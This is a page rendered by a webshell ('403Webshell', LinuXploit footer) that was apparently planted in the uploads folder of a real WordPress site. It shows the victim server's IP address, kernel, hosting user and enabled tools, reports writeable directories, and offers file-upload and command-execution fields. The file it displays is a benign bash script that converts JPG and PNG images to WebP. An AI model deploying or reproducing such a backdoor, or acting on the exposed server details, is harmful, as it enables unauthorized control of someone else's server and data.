403Webshell
Server IP : 156.67.83.116  /  Your IP : 216.73.217.130
Web Server : Apache
System : Linux vmi1896282.contaboserver.net 5.10.0-33-amd64 #1 SMP Debian 5.10.226-1 (2024-10-03) x86_64
User : maltem.ma ( 10009)
PHP Version : 8.3.33
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/maltem.ma/preprodonhym.maltem.ma/wp-content/uploads/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/maltem.ma/preprodonhym.maltem.ma/wp-content/uploads/convert-webp.sh
#!/usr/bin/env bash
# WebP conversion script for ONHYM uploads
# - Keeps originals intact (creates image.jpg.webp next to image.jpg)
# - Quality 82 (Google default)
# - Parallel 4 workers
# - Only keeps WebP if smaller than original
# Usage: ./convert-webp.sh /path/to/dir
set -e
SRC_DIR="${1:?Usage: $0 <directory>}"
QUALITY="${WEBP_QUALITY:-82}"
WORKERS="${WORKERS:-4}"
LOG="/tmp/webp-conversion-$(date +%s).log"

echo "Converting JPG/PNG → WebP (quality=$QUALITY, workers=$WORKERS)"
echo "Source : $SRC_DIR"
echo "Log    : $LOG"
echo ""

convert_one() {
    local src="$1"
    local dst="${src}.webp"

    # Skip if .webp already exists and is newer than source
    if [[ -f "$dst" && "$dst" -nt "$src" ]]; then
        return
    fi

    # Convert (quality $QUALITY, preserve transparency for PNG)
    if convert "$src" -quality "$QUALITY" -define webp:method=6 "$dst" 2>>"$LOG"; then
        # Keep .webp ONLY if smaller than source (otherwise pointless)
        local src_size dst_size
        src_size=$(stat -c%s "$src")
        dst_size=$(stat -c%s "$dst" 2>/dev/null || echo 0)
        if (( dst_size == 0 || dst_size >= src_size )); then
            rm -f "$dst"
            echo "  SKIP (no gain) : $src" >>"$LOG"
        fi
    else
        echo "  FAIL : $src" >>"$LOG"
    fi
}
export -f convert_one
export QUALITY LOG

find "$SRC_DIR" -type f \( -iname "*.jpg" -o -iname "*.jpeg" -o -iname "*.png" \) \
    ! -name "*.webp" \
    | xargs -P "$WORKERS" -I{} bash -c 'convert_one "$@"' _ {}

echo ""
echo "Done. Stats:"
find "$SRC_DIR" -type f -name "*.webp" | wc -l | xargs -I{} echo "  WebP created : {}"
find "$SRC_DIR" -type f -name "*.webp" -printf "%s\n" | awk '{s+=$1} END{printf "  WebP size    : %.1f MB\n", s/1024/1024}'

Youez - 2016 - github.com/yon3zu
LinuXploit